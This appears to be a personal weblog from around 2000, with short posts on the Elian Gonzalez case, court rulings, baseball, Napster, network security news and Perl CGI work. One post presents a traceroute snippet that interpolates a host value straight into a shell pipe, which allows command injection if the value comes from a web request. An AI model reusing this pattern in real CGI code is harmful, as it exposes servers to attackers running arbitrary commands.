Wowzers. Wisconsin Electric Power Company was ordered to pay $104.5 million in damages earlier this year by a jury in a case where they polluted land with cyanide, and then sold the land without disclosing this small fact. During the trial, WEPCO stipulated that they had no insurance coverage for verdicts like this, and the jury took this into account in their decision. Now, WEPCO is claiming that they do have insurance, and the judge is pissed; she has issued a bench order that if WEPCO gets the verdict overturned on appeal, there will be an automatic $104.5 million sanction against them, so no matter what, they’ve got to pay. (After reading things like this, I think that being a judge would be supercool.)

Hey, this is cool — according to Brad, it turns out that there’s prior art to Zaphod’s “Dyke” button that predates the Pike button (but obviously not the original “Ike” button). Now, if we could only get him to go into that storage locker, grab the button, and scan it in…

In response to Verizon’s lawsuit against 2600 for registering the domain verizonreallysucks.com, the folks at 2600 have registered a new domain name. I love fights like this; corporate america (and apparently telecom companies, who should know better) still has a long way to come. 2600 has a position paper on the whole imbroglio.

Our fine mayor, Rudy Giuliani, is seeking a divorce from his wife. I was wondering if this would do anything to his campaign (if he stays in the race), but then I realized that he’s competing against Hillary, who has a whole separate set of fidelity and family issues.

An interesting twist — the I Love You trojan/worm may have had its origins in a thesis project.

In response to my complaints, Network Magazine and Extelligent have added a privacy policy to their survey on network providers and telecom carriers. So now, go fill out the survey; it stands to actually give good numbers on what consumers and tech professionals demand from their Internet and data carriers, and whether or not those carriers currently live up to the demands.

But I noticed a link to you at Jim Romenesko’s Obscure Store and Reading Room: http://www.obscurestore.com/

(I got a feeling this is a duh!! post considering you have that site linked already…. duh!!)

The Great Blog Off begins tonight, 12:00 AM EST, with Wendell vs. Mike.

Mental note: keep cellphone in pocket, not in bag.

This is pretty exciting — my fair alma mater, home of the Pulitzer Prizes, has established the Online Journalism Awards. There are awards in six categories: general excellence, online commentary, breaking news, enterprise journalism, service journalism and most creative use of the medium. There is a website for the awards, and they start to accept entries on July 3rd. I wonder if the “most creative use of the medium” award will go to a traditional news organization, or if specialty news sites (like ESPN, or some of the finance ones) will have a chance.

Every time I stumble across MetaBaby, I remember just how damn cool it is. And of course, since synergy seems to be flying around me these days, I just went to the about page and saw that Greg Knauss coded it; Greg has popped up a few times in the past few days.

For baseball fans, this is something you don’t see often: John Rocker balked home the winning run in the Braves-Marlins game yesterday night. His statement after the game: “The only quote I’m giving is I’m a horrible player. I’m just a bad player. That’s the bottom line.” Strangely, this is the second time this year that this has happened (Jeff Zimmerman balked home a winning run on April 28th in Texas’ loss to Baltimore), but prior to that, it hadn’t happened since 1993.

Leos Kral weighs in with important terms of the Digital Millenium Copyright Act.

Apparently, ever since his giddy-as-a-schoolgirl posting of a picture of me with “Dyke” buttons all over it, Dave Winer’s be-all, end-all gauge of whether someone’s opinion is worth listening to is whether that person has a picture of him or herself available on the web. Seems like a great tactic, if your aim is to divert people’s attention from the real issues that started the conversation, but of course that may just be me.

Representative Bob Smith, proving both his ignorance of history and flair for generating innuendo where there should be none, proclaimed that Elian is currently in “a concentration camp on American soil” Sunday. Of course, we’re talking about a man who quit the Republican party because it’s too liberal for him.

Once again, time to rally the troops — Matt Lavallee, owner of MATTL.COM, has been served with a cease and desist letter by the Mattel, Inc., the toy company — apparently, they don’t like his domain name. From what I can tell from their website, the proper email address to send your concerns to about this is service@mattel.com. (As with almost everything worth talking about these days, there’s a MetaFilter thread just starting about this.)

Now, for a bit of metacontent. First: sadly, Alice is drifting away. It’s been fun reading Strange Brew; it’s a log I’ll miss. Second: Dan has spiffed up the backend of BrainLog with a full database and comment system; it looks great, so go there, now.

And in quasi-metacontent, array is gone as well, apparently in response to the entire WinerLog brouhaha. A thread on MetaFilter has begun about it.

Good for you, Jim. And thank you for the compliment — I am humbled. And lastly, very nice Conversant site. I keep meaning to play with my free site more; maybe this whole blowup is a big message that I should start now.

Napster has lost its ISP safe harbor defense in the RIAA’s lawsuit against the service, apparently because they don’t enforce any policy of copyright protection, and possibly because they allow known pirates and they stand to benefit financially from copyright infringement.

Of all places, CNet News has a decent article about the fact that in many states, your medical records don’t legally belong to you. This is somewhat scary — if you are dissatisfied and leave your doctor, in some states, that doctor can refuse to turn over your records to your new healthcare provider. Thankfully, New York is a state where patients do have the right of access.

Apparently, some parents still believe that tanning is good for their kids. 24% of parents who were surveyed have never applied sunscreen to their kids. Come on, people — the current thinking is that all it takes is a few major sunburns to plant the seeds of skin cancer!

In celebration of the Hubble Space Telescope’s 10th birthday, the Washington Post has a beautiful slideshow and movie of some of its best images. Amazingly, the Hubble has returned nearly 300,000 observations, and has resulted in over 2,500 scientific papers — it’s definitely a science project gone right.

Network Magazine emailed me about their current survey of network, data, and Internet providers. The survey asks for a lot of personal information, including your email address, and they have absolutely no privacy statement of any kind anywhere that I can find. Sort of shocking for a company that is integrally involved with security in the information age.

Hee hee — Number of Linux Distributions Surpasses Number of Users. (I don’t know why I have never come across BBspot before.) Other gems from their recent archives: Microsoft Purchases Evil From Satan, Oracle Experiencing Major Growth In Larry Ellison’s Ego.

I figured out a way to do what I wanted in my CGI.

The following is the code fragment that I use for my traceroute:

        open(TRACE, "/usr/sbin/traceroute $hostIP 2> /dev/null |");
        while (<TRACE>) {
            print "$_";
        }
        close(TRACE);

With this, I open the pipe to a traceroute, and then as each line is returned from the system, it’s printed to STDOUT (which, in the case of a CGI, is the webserver pipe to the browser client).

Cooooool.

Both images reproduced here with the permission of Zaphod, their creator.

I’ve been playing around with perl programming for a little while now (mainly because of a two-month research project at the hospital that was perl-centric), and yesterday, I started delving into CGI.pm. Tres cool — it is to perl what mainResponder is to Frontier, namely a very powerful way to quickly put together server-side scripts that do all those things that you have always needed web pages to do.

Perl-related CGI question, though: is there a way to make a system call from a CGI and have the output of that call buffered back to perl in a way that it can be incrementally displayed? Specifically, I want to do a traceroute, and have the lines from the traceroute come back one at a time, instead of perl having to wait for the entire trace to finish before any of it is returned to perl. UPDATE: I figured out how to do what I want to do.

Ahhhh, how beautiful situational ethics can be… (Yes, most people understand that this has become about the use of “defaced” graphics, but how do you think Alan Diaz feels about his photos, defaced, appearing on Scripting News? Oh, that’s doing one’s part “for free speech on the Internet.” Gotcha. However do I keep all this straight?) It will be interesting seeing how they deal with the “defaced” graphics once they’re on a non-Userland site.

Just doing my part for free speech on the Internet.

How fast would this guy have to have been driving in order to launch his multi-ton SUV into the second floor of a house? Jeez.

OK, question: say you’re the guy who wrote the “I Love You” worm/trojan. Now say you read this news story about how authorities have you under surveillance, and are ready to arrest you and search your computers as soon as they get a warrant. Don’t you start wiping those discs clean? Put big pacemaker magnets on top of the disc platters? It seems that if they are really serious about this suspect, then all this information wouldn’t be in the news.

The judge who issued the ruling against MP3.com says that the legal reasoning wasn’t even a close call. The big quote: “Stripped to its essence, defendant’s ‘consumer protection’ argument amounts to nothing more than a bald claim that defendants should be able to misappropriate plaintiffs’ property simply because there is a consumer demand for it. This hardly appeals to the conscience of equity.”

new york yankees

I’m going to the Yankees game today; hopefully, they can extend their 5-game winning streak. Last night’s game was incredible; they were down 2 runs to the Orioles going into the bottom of the ninth, and scored four runs to win the game. (With two men on, the Os expected Jorge Posada to bunt to advance a runner; instead, he swung for the fence, homering and winning the game.) Jeff Nelson remains unbeaten at 5-0; the Yanks bullpen is now 9-0.

Yanks win, 3-1. Clemens gets the win (his 250th), Rivera gets the save (his 11th this season). And Boston loses to Tampa Bay (with Pedro on the mound, holy crap), widening the Yanks lead in the AL East to four games (as if it matters this early in the year).

Why is QuesoCam2 so much clearer than normal right now? Because it’s 81 degrees out, and my windows are all wide open — so the camera isn’t shooting through a New York, on-Broadway window, with all its accumulated grit and grime. (Update: it’s back to the grimy view, since it’s just hot enough here that I’m wimping out and cranking up the AC.)

To the people who gloat about using Eudora and thus being immune to the worm/trojan attacks of the past few days: consider yourself warned. (A slightly better account of the vulnerability is here.) Since it took all of about 14 femtoseconds for new and “improved” versions of “I Love You” to surface, it’s probably only a matter of time before someone adds the ability to bypass Eudora’s security…

Jeff Howe of the Village Voice has a good piece on Eric Corley and Martin Garbus, the publisher of 2600 and his lawyer, and their fight with the MPAA over links to DeCSS, the application that defeats DVD’s scrambling system. (Fascinating to me is that Garbus has a 20-0 record in front of the U.S. Supreme Court; unfortunately, there is a pending motion to disqualify him from this case, due to a minor representation of a subsidiary of one of the movie studios years ago.)

Imagine being a cop watching this guy commit suicide. Hopefully, the “you were there, so you have to clean it up” rule doesn’t apply…

Hey, cool — I’m a political weblog!

Ummmm…. Alex Chiu scares me. Apparently, his magnetic rings are on par with Thomas Edison’s lamp, or Einstein’s Theory of Relativity. Yeah, you go, buddy.

Could you imagine if the news reported every time that a company shut down their mail server? This news story seems a bit silly, and pretty indicative of how reactionary and misinformed the press can be about computer stuff.

I implement ingress filtering on my routers, and they compile a tally of the number of packets that fail against the filters. Interestingly, my router is seeing packets that claim to be from the three private IP blocks that are designated as not to be routed outside of private space; the only way that my router can be seeing these packets is if my ISP is routing them to me, which isn’t good. Time to do some work…

In February, a 16-year-old boy was drafted by D.C. United (one of the pro U.S. soccer teams); he’s got himself a Nike endorsement contract, and has dropped out of high school, pursuing his GED with tutors and homeschooling. I’m not sure how I feel about this; I wonder if the school district would let a kid do the same thing to pursue a dotcom business, or something similar.

“With God, all things are possible” — except using that phrase as the Ohio state motto, since the 6th Circuit U.S. Court of Appeals ruled that it is unconstitutional. I wonder how many things that motto is printed, engraved, and chiseled into permanently; this has to be an enormous pain in the ass for Ohio.

More state-related business: a week or so ago, I asked why the Mississippi state flag (with its Confederate flag contribution) hasn’t generated more controversy. Today, it’s reported that that’s not actually the official Mississippi state flag, and in fact, there is no official Mississippi state flag, due to an oversight by the legislature back in 1906. (This was all discovered by the Mississippi Supreme Court, in a challenge to the flag’s constitutionality.) State lawmakers are now saying that they have a unique opportunity to actually designate a flag (and perhaps one that isn’t so damn racist).

Due entirely to configuration mistakes (laziness?) on the part of the Apache folks, the www.apache.org server was hacked recently; the folks that did it have explained how.

Also on the security front, David Dittrich of University of Washington has published a reasonably good analysis of mstream, the latest distributed denial-of-service (DDoS) attack tool to surface. From this comes a basic plea, from me in my role as a network admin: if you run a network, implement network ingress and egress filtering! It’s a big step towards preventing someone from using your network as a launching point for these attacks.

In Boston a few years ago there was a service which you could dial into and find out about traffic conditions. A second service started up offering the same things, and the first one was suspicious that they were merely being copied.

So they did the same thing: they invented some spurious events and put them onto their own line, then carefully documented that they appeared on the second line — and then sued their tails off.

medpics -- brain and skull

What a super, super, supercool medical imaging website, and from a law portal, of all places. I need to remember this one for presentations and whatnot.

I can’t tell you how disgusting this is to me. Of course, this is much more disgusting.

I know that this shocks everyone, but Netscape’s CSS support in their 4.7X browsers still sucks. Netscape 4.73 came out today, ostensibly with bug fixes; despite me having used their special 4.7X CSS crash report site to report that one of my websites crashes Netscape without fail every time the home page is loaded (multiple times, with every version from 4.7 on), the bug still exists.

Microsoft is going to integrate biometric authentication into Windows. A great idea, but I can hardly wait to hear the complaints that Microsoft is going to put 3rd party companies out of business, Microsoft is unfairly bundling things into the operating system, Microsoft is killing the children of righteous Christians, blah blah blah…

This is pretty damn funny — concert listing service Pollstar is suing GigMania, since it appears that GigMania has been crawling the event listings at Pollstar and automatically inserting them into their own database. How’d Pollstar catch ‘em at it? They invented fake bands and cities into their own database, and watched them appear, nearly instantly, in GigMania’s own listings. (Unfortunately, the ones that Wired mentions all appear to have been removed overnight; if anyone finds some that GigMania hasn’t caught yet, drop me a line and I’ll point to them.)

Macworld has an op-ed piece about the slow but sure downfall of the Apple interface. It’s sad that this was a company that was impeccable when it came to user interface design and usability; their research labs and standards were unquestionable. Now, they seem to be abandoning it all; as the subtitle to the op-ed piece reads, “The road to usability hell is paved with brushed aluminum.”

Imagine that you’re being held in some foreign country, against your will, and then some crazy folks who think they know what’s best for you ask that the American embassy officials not be allowed to visit with you. Sound offensive? The same thing is happening here, painted with the brush of anti-Communism. (I do love the government’s response, though: “We’re not controlling who’s going into the Wye River Plantation, just as we did not control who was going in and out of Elian’s house in Florida.” This can be read as: you had no problem sheltering and indoctrinating Elian yourself, so shut the fuck up.)

To much less press fanfare and blowhard political posturing, a Greek child has been reunited with his parents in Greece. The boy was being held by his grandparents in Egypt, who were upset that their daughter married a Christian man; they refused to return the child to Greece, and the Egyptian police raided the home and took the boy back.

The Linux 2.4 kernel is even further delayed. Originally set for a release last October, it now looks like it won’t go final until this October. Funny enough, though, this article attributes the reasons to the same things for which people typically rail against Microsoft — the addition of new features not originally scheduled for this release, and the testing of all these features.

It turns out that the consumer marketing stats that have come back from the dotcom Super Bowl ad spending spree are horrendous. Out of the 17 dotcoms that ran ads, not a single surveyed person remembered seeing ads from 11 of them without prompting; the highest unprompted remembrance rate was 6%, for E-Trade. Media Metrix website visit counts show steeply declining numbers for most of the companies — they got one-day bumps due to the ads, and then died off to almost nothing.

What would happen if an astronaut had a major medical emergency while in space? A New Scientist article thinks it would be disastrous; even if the astronaut could be rushed back to Earth, it turns out that space screws up one’s homeostatic abilities enough that, for at least a day after returning, surgery or anesthesia would be incredibly risky. In addition, controlling an airway in zero gravity would be very difficult, and the Shuttle probably doesn’t have sufficient equipment for it.

Wow, I’m sort of shocked — it turns out that Judge Thomas Penfield Jackson does have the ability (at least in some cases) to determine when he has overwhelming biases that prevent him from being able to preside over a case fairly. (I wonder what it would take for him to be able to see this in U.S. v. Microsoft…)

John Taschek has a ZDNet editorial on why open source is “a road to nowhere.” I don’t know that it’s fair to hold Mozilla up as representative of open source’s faults, but nonetheless, I think I agree with his conclusions — Linux does have a future, but not necessarily because it’s open source. Meanwhile, Bob Young, CEO of RedHat, has responded to Taschek’s editorial.

The FCC has ruled against Time Warner in the dispute over ABC that took the station off of cable networks for the past few days. Apparently, there’s a specific clause in the rules that applies to sweeps periods; the fact that we’re in the middle of May sweeps means that Time Warner has to use kid gloves no matter what ABC does. This is interesting, since apparently there was no signed agreement or contract that would have legally allowed Time Warner to carry ABC past April 30th; if they had chosen to, could ABC have sued Time Warner if they kept ABC on the air past that date, even though now the FCC says that another rule should have prevented them from taking ABC off the air? I wonder which set of laws trumps which — Federal contract law or Federal communications law.

George W. Bush, on the Elian raid:

“I hope we get to the bottom of the answer. It’s what I’m interested to know.”

I have really gotten to like Slate’s Chatterbox. In the past week, it’s lambasted Tom DeLay for his ridiculous statements about the ostensible lack of a warrant to retrieve Elian, engaged in a similar conversation with Lawrence Tribe regarding his false assertion in the New York Times as the one he and I had, and then solicited the opinion of Akhil Reed Amar, another noted Fourth Amendment scholar, on Tribe’s point.

Last night, I had dinner with a friend who lived in Germany before the Wall came down, and she said that there was an almost-absolute policy in West Germany for what to do when a parent tried to bring his or her kids across the Wall and were killed in the process — if the children had a surviving parent in East Germany, they were returned to that parent. In the reasoning of the West German government, the differences in freedom between East and West did not justify separating children from their parents.

I don’t get all the people who are mocking Metallica in their attempts to get their music off of Napster. It seems like Metallica has worked hard to create their music, and they’re not spinning at windmills trying to enforce the fact that it’s their music, and they should be able to control how it’s distributed, and what kind of compensation they get for that. For the webloggers who decry their efforts — would it make you upset if someone took your weblog, design and all, and put it up on their own webserver?

The Supreme Court has let stand a New York ruling that concluded that online services are not publishers, and as such, are not responsible for defamatory or obscene messages that travel through their systems. (The New York case was Lunney v. Prodigy Services Company.)

ABC is back now on New York cable. Interestingly, when I checked, I caught about five minutes of Oprah, when she had Janet Reno on. I was thinking that Reno’s Parkinson’s is getting more and more noticeable (she had a clear tremor), and just then, Oprah recommended that Reno take a little time off, and “maybe not shake so much.” I was floored — has anyone ever told Oprah to stop eating so damn much in an interview? What an insensitive boob.

Also in New York, a woman has been convicted here of fraud and forgery after getting $15,000 from her insurance company for her husband’s penile implant… except her “husband” was really her boyfriend. Her actual husband was shocked to open mail from the urologist and the hospital and see that he had ostensibly gotten, ummm, augmented, and called the authorities and her union (which carried the health insurance). Most funny, though, is that the boyfriend “has fled to Haiti with the implanted evidence.”

Technocool: as of 8 PM EST last night, Global Position System signals are no longer intentionally made less precise, which means a much more accurate reading is displayed on any GPS receiver out there.

An eyebrow-raising discussion has started over on the flounder regarding Dave Winer’s question on yesterday’s Scripting News (now gone, but archived in the hourly XML file from My.Userland) asking if he should terminate the WinerLog site hosted on EditThisPage.

South Carolina, fresh on the heels of being targeted by a potential NCAA boycott, has become the last state to recognize Martin Luther King Day as a holiday.

Bryonn Bain, the author of “Walking While Black”, was my class president at Columbia. I don’t remember much about him, except that he was very involved in civil rights issues on campus, and that he was friends with one of my girlfriend’s roommates, so I saw him around the suite a lot. Of course, my roomate and classmate at Columbia remembers things differently… but just in the hypothetical.

Today, I decided to install RedHat Linux 6.2 on the spare hard disk for my laptop (a Dell Inspiron 7500), mainly because I wanted to see their new graphical installation app. Then, I discovered that the graphical installer doesn’t support my video card (an ATI Mobility-P), which relegated me to the old text-based installer. Why doesn’t Linux support the basic VGA capabilities of my card? Windows doesn’t have this problem; even without drivers, the graphical installer runs in VGA mode, and you can use Windows in VGA mode (and usually SuperVGA, as well).

time warner and disney

ABC decided to pull their network from all Time Warner cable subscribers overnight, meaning that at the start of this May sweeps period, they have nearly no viewers in New York City, Los Angeles,and Houston. Total, it’s 3.5 million viewers (or 3.5 Nielsen rating points) that ABC is sacrificing. (The AP ran a screen shot of what Time Warner cable subscribers are seeing.)

Yesterday, I mentioned that someone was probing our network who didn’t belong. Today, it got sorted out — we’ve got the bottom quarter of a class C address block, and they have the top quarter; they scanned the entire class C block, something prohibited by both his ISPs. Key net admin point: don’t scan other people’s networks.

Joel is on a roll: Top Five (Wrong) Reasons You Don’t Have Testers. Among many other things, he talks about his experience with Userland Frontier (the software upon which this website, as well as his site, is based); my own experience is that it is one of the most powerful programs I’ve used, trapped behind one of the toughest interfaces I’ve used.

I have been trying to figure out where to go for my post-school, pre-residency vacation; now that Spain is setting aside an hour a night for beach sex, it should probably be scribbled onto the short list.

Salon weighs in on the best five moments from the James Bond books. (Actually, the five are the most frightening, poetic, and surreal, the best gadgets, and the best villain.)

It appears that Republicans on the Senate Judiciary Committee are backing down on the notion of holding hearings on the use of force in the Elian seizure. Of course, though, Tom DeLay continues to spout nonsense; given that he’s still clearly trying to back out of last week’s hole wherein he claimed the lack of a warrant at all, though, it’s hard to take anything he says seriously. If ever an elected official displayed less of an ability to understand the law…

new york street fair

You know that spring has sprung in New York City when you wake up to a street fair outside your building… ahhhh, happiness.

Michael J. Hammel has a good column about the necessity of rigorous software testing on Linsider this week. This has been my standard response to the open source vs. big company issue — some people choose to be able to fix, on their own, any problem they discover, whereas I prefer to leave those fixes to companies with the resources to standardize and regression test them. It’s not a better/worse thing, it’s a difference thing.

I just got my April MSDN shipment, and with it came Interix 2.2. Does anyone know anything about this? It looks like it could be tres cool… but I know absolutely nothing about it.

In looking at my various logs this week, I have noticed port scans and random connection attempts from a static machine belonging to Williams/Gerard Productions, Inc. (warning — obnoxious Flash movie at that link). Anyone know what they do, or know people working there who feel that it’s a good thing to probe machines that don’t belong to them? Their upstream provider, AT&T, specifically prohibits this activity.

Interactive Week has a view that doesn’t seem too well-represented in the media right now — that Microsoft may have legitimate legal arguments to refute almost everything that Jackson decided. Certainly, in looking at Jackson’s decision, he is openly challenging the unanimous D.C. Circuit Court of Appeals verdict in 1995 which overturned Jackson’s earlier ruling; it will be interesting how this plays out in the higher courts (since it’s definitely headed there).

Every now and then, I read something that makes me sad. Today’s example: the following quote (emphasis added by me), from the New Jersey Chancery Court opinion that was the first step taken by Dale v. Boy Scouts of America on the road to the Supreme Court. On the notion of the difference between the criminality of homosexuality versus its morality:

The criminal law has changed. The moral law — as to the act of sodomy — has not. The numerous certifications submitted by various ministers, priests, and rabbis attest to that. Individual religious persons may distinguish between the moral culpability of a psychological tendency (perhaps innate) or sexual attraction to a person of the same sex, (a state of mind) but all religions deem the act of sodomy a serious moral wrong. The act is something deliberate and intentional; the thought might not be. An analogy with adultery and fornication is apt.

Later in the decision:

Human beings with homosexual tendencies or thoughts have existed since the beginning of the human race and undoubtedly will continue to exist until its end…. But when the tendency turns to action, the bible story of Sodom, the common law penal laws, the laws of New Jersey up until 1979 and universally held religious positions, condemn that act. Today in New Jersey the moral law as espoused by the major religions continues to declare the act of sodomy to be a serious wrong.

For a rights-affirming position, though, read the concurring opinion from Justice Handler of the New Jersey Supreme Court (you have to go about 2/3 of the way down that decision to get to Handler’s concurrence). He specifically condemns all of these nasty beliefs and assumptions, and essentially scolds the Chancery Court judge for his closemindedness.

Dennis Caron, the man I spoke about a few days ago who is pushing for changes in Ohio’s child support laws that would stop forcing a man to pay when a paternity test proves he is not the father, was jailed yesterday for failing to pay support. (He has been placing the money into an account each month, and has also taken a bond out against his home, in an effort to prove that he can pay but doesn’t feel he should.)

Another New York City livery cab driver was killed last night; this has become an epidemic in the city, and the police are scrambling to figure out who’s responsible and what to do about it.

Dan explains why Mississippi (and their flag) isn’t a target of the NCAA.

There are a lot of neat Flash cartoons at Joe Cartoon. (Most of them have a bit of (cartoon) gore, and probably won’t appeal to the animal activist in you…) Similarly, there’s a hurt-free Flash fishtank at T-Bone’s Stress Relief Aquarium.

Anthony Lewis has a damn good op-ed piece in today’s New York Times refuting most of the arguments that have been made regarding the legal status of the INS and DOJ in grabbing Elian out of the Miami home.

I wish people would do some friggin’ research before just buying what an article on the ‘net says. I have received a few links to this article, quoting a former New Jersey judge as saying that once the INS grants asylum to an alien, they lose all power to change guardians until the asylum claim is completed, and that Jeb Bush should file an indictment against Reno for kidnapping. The big problem: most of the claims are crap. My refutation:

And now, I can only assume that Time Magazine is in on the conspiracy of doctoring photos to show Elian and his father together.

How can Miami mayor Joe Carollo say that the departure of the city manager and chief of police had nothing to do with Elian’s removal? Regarding Carollo’s reaction to the raid, now-former police chief William O’Brien specifically said “I refuse to be the chief of police in a city that has someone as divisive and destructive as Joe Carollo as mayor.”

I’m glad to see that the fruits of genetic therapy are finally blooming — two infants born with severe combined immunodeficiency (a terrible disease that results in very early death) were given stem cells from normal bone marrow, and the result was fully-functioning immune systems. (The “bubble children” — kids who live in bubbles protecting them from environmental exposure — are kids with SCID, and the fact that science is giving them the ability to lead normal lives is a terrific advancement.)

I am also glad to read that the NCAA has stated it will move all events scheduled to be held in South Carolina out of the state if the Confederate flag is not removed from the Statehouse. Question, though: why didn’t it take the same stand against Mississippi, which also includes the Confederate emblem in its state flag?

Did people see the South Park episode Wednesday? It was all about the Elian raid, which shocked me, seeing as the raid happened three days before the show was on the air. AP has an article about how they managed to pull that off. If you didn’t see it, there’s a schedule of reruns available. (Thanks, Dan!)

Funny — Microsoft employees are selling the copies of Windows 2000 Advanced Server (the copies that they received free from the company) on eBay. Microsoft is trying to figure out what to do about it…

Baseball is exciting this year. Sunday, Yankees Bernie Williams and Jorge Posada each homered from both sides of the plate (the first time this has ever happened, if that’s a stat worth keeping); yesterday, White Sox shortstop Jose Valentin hit for the cycle in their victory over the Orioles. (Of course, that article fails to mention that it happened on the same day that Major League Baseball suspended seven White Sox members and fined two for participation in one of the biggest fights in baseball history.)

Yesterday, I wrote a short critique of Lawrence Tribe’s argument in his New York Times op-ed piece from earlier this week. I also emailed him, and got a reply back in which he clarified his position — his argument isn’t as untenable as the NYT piece made it seem. Tribe wrote me that he isn’t arguing that the warrant itself didn’t allow seizure of Elian, he’s arguing that the warrant was invalid, so no matter what it allowed, it wasn’t legitimate. The basis of his argument is that the warrant was issued to an agency of the Executive branch without a hearing (most warrants are issued without hearings, of course) to enforce an order of the Executive branch, which Tribe believes to be a major loss of oversight.

My argument back to him (and not just here, I emailed him back): while there was no direct oversight by another branch in this case, that is because Congress (the Legislative branch), in 8 USC 1252, has explicitly granted to the Attorney General and the INS broad powers to enforce their own orders and declarations without the need for additional case-specific oversight. As far as I can tell, this is not just a med student’s amateur reading of the law; the U.S. Supreme Court, in Reno v. Flores, upheld this interpretation of the statute, and specifically upheld it in the case where the INS is determining proper custody of a minor alien during determination of legal status.

UPDATE: I received email back from Tribe, saying “For a non-lawyer, you’ve made an awfully forceful argument. Have you considered switching careers or at least doubling up? I wish I had the time right now to explain why I disagree with you, but unfortunately I don’t. Good luck in your further research and in your medical pursuits.” (I debated strongly about putting this up here, since I don’t want it to come off as a strut or anything like that. I really wish that he had the time to explain his position better to me — I honestly want to know that side of the argument, since my argument on this point isn’t based on principle, but rather it’s based on how I read the law and precedent that exists. If I’m wrong, I want to know.)

The Washington Post has a detailed examination of the intelligence-gathering effort that the DOJ and the INS put on after the Miami family defied the order to surrender Elian. They detail the threats that were known to exist against any attempt to enforce that order, from a contingent of five bodyguards for the Miami family (all of whom had concealed weapons permits), to a group of felons who had taken up residence immediately behind the home to help with surveillance of any government activity, to members of an anti-Castro paramilitary group who were active in the crowd in front of the house.

The Supreme Court was amazing. The Justices (OK, everyone but Clarence Thomas) participated vigorously in the oral arguments in Boy Scouts of America v. Dale; for the most part, they appeared to be exploring ideas more than they were stating preconceived opinions, which was very nice to hear. The attorney for James Dale, Evan Wolfson, was incredibly articulate and had clearly done his homework (which is more than can be said for the attorney for the Boy Scouts, George Davidson, who dodged almost every difficult question posed to him).

I wish that I had found FindLaw’s Supreme Court docket before I had gone to D.C.; it has all of the amicus briefs filed in the Boy Scouts case, and I bet that there are some really scary arguments in some of them.

Dahlia Lithwick’s column on the arguments yesterday is available on Slate. In particular, I like her characterization of Davidson’s “rebuttal,” which legitimately left everyone in the room scratching their heads, assuming that he just didn’t want to subject himself to any more questioning from the bench.

Now, admittedly, I’m no legal expert, but I have lost a ton of respect for Lawrence Tribe after his New York Times op-ed piece contending that there was no legal right to grab Elian. To quote Tribe:

The Justice Department points out that the agents who stormed the Miami home were armed not only with guns but with a search warrant. But it was not a warrant to seize the child. Elián was not lost, and it is a semantic sleight of hand to compare his forcible removal to the seizure of evidence, which is what a search warrant is for.

Now, to quote from the warrant (bold emphasis added by me):

[On the premises of Lazaro Gonzalez’s house] there is now concealed a certain person or property, namely the person of of Elian Gonzalez, date of birth December 8, 1993, a native and citizen of Cuba… You are hereby commanded to search on or before 5-1-00 (not to exceed 10 days) the person or place named above for the person or property specified, serving this warrant and making the search… and if the person or property be found there to seize same

Seems to me that the warrant was clear that it was to seize Elian.

I am superbly glad to read both that Juan Miguel Gonzalez has filed to assert his rights as Elian’s father, and that the Dr. Pauline Kernberg has recommended that Elian’s Miami “relatives” should not be allowed to see him in their current angry state. More importantly, I am glad that the Eleventh Circuit has denied all of the requests made by the Miami family (that they, their doctors, and their lawyers all be given “regular and reasonable” access to Elian).

The only problem I have with Cam’s “Four Men in Hats” brainteaser: the answer assumes that the men know where each other are positioned, an assumption that’s never explicitly stated. In other words, the “Puzzle” paragraph needs to state that in addition to everything else, each knows where the others are situated.

Pets.com is suing Robert Smigel, writer for Conan O’Brien, saying that Triumph the Insult Comic Dog (a puppet dog that appears on Conan every now and then) is a rip-off of the ubiquitous Pets.com dog. Unfortunately for them, Triumph first appeared in February 1997, when (I’d be willing to bet) Pets.com hadn’t even been conceived as a company.

No updates for the next day and a half; I’m headed out the door to hop a plane to Washington D.C., to see oral arguments at the Supreme Court in Boy Scouts of America v. Dale. See you all when I return Thursday afternoon…

WOW. Nobel Literature prizewinner Gabriel Garcia Marquez wrote a phenomenal account of the Elian saga in mid-March, and even if you’ve overdosed on this issue, you should read it. In addition to many other points, he elucidates a thought that’s crossed my mind a few times, but I’ve never verbalized:

Nevertheless, the legal and historical loss could be far more costly for the United States than an electoral one, as more than 10,000 U.S. children are currently dispersed throughout various parts of the world, taken from their country by one of their parents without the authorization of the other. The gravity of the situation for them is that if the parents remaining in the United States wish to recover them, the precedent of Elian could be utilized to prevent it.

Eric Alterman is one of my new heros:

Think about it. This is a story that directly involves maybe a half-dozen people. There was no murder, no death, no physical harm done to anyone. The law, moreover, is not terribly complicated. Legally speaking, parents — even parents living in countries of which we do not approve — speak for their six-year-old children, period. If the media had not gotten hold of Elian in the first few days of his Florida arrival, he would have been shipped back to Cuba according to the law and that would have been that.

Likewise, Michael Kinsley chronicles the consistent push by the Republicans for parental control and rights… that is, until Elian came along. Quoting from their 1992 election platform: “For more than three decades, the liberal philosophy has assaulted the family on every side. Today, its more vocal advocates… deny parental authority and responsibility, fracturing the family into isolated individuals, each of them dependent upon — and helpless before — government. This is the ultimate agenda of contemporary socialism under all its masks.”

I’m truly worried about this country if the 11th Circuit Court eventually rules that an asylum application by a six-year-old while in the custody of American relatives (and while a benefit of free vacations to Disneyland) is valid, but a retraction of that asylum application by a six-year-old when with his biologic and legal father is invalid, and then “properly appoint[s] a legal guardian to help Elian articulate a claim for asylum.” This honestly would mean that if I could coax any statement out of my foreign relatives’ children that they wanted to stay here, I could then just whisk the kids away, and petition a court to keep ‘em. (Dammit, sometimes I hate MSNBC. The article pointed to by the above URL used to contain that quote; they have since changed it.)

Neato — an entire webserver written in PostScript. Apparently the product of a desire to learn PostScript combined with a challenge of sorts to see if a webserver could be implemented in the language.

It still amazes me that there are intelligent people out there who believe that there is some backdoor password in Microsoft’s IIS webserver. People, keep up here — there is no backdoor password. That entire news story was generated by a single NT box on which the administrators (ostensible security experts, I might add) had lessened the default security settings. What there is is a buffer-overflow condition; the Microsoft bulletins are here and here.

This all came up because a true password vulnerability was discovered in RedHat Linux 6.2 this week — there’s a default password that is installed on the Piranha web administration tools, and with this password, you can do anything that you want on the machine. If you run a RedHat Linux 6.2 machine, you will want to go and get the patched RPM at the above link.

O.J. Simpson is still actively trying to “find the real killer” (*ahem* trying to regain any respect in the world), but a judge has thrown out his lawsuit, which “borders on being frivolous.”

I sent an email to Tom DeLay, third ranking Republican in the House of Representatives, today — I asked if he was planning on issuing a retraction and apology to the American people for misleading them by claiming that Federal marshalls went into Elian’s home without a warrant, when in fact, a warrant did exist. (I wish I could reproduce the email I sent, but you can’t email House Reps anymore without knowing their email addresses. There’s now a form page on the House website, and it forwards the message on for you.)

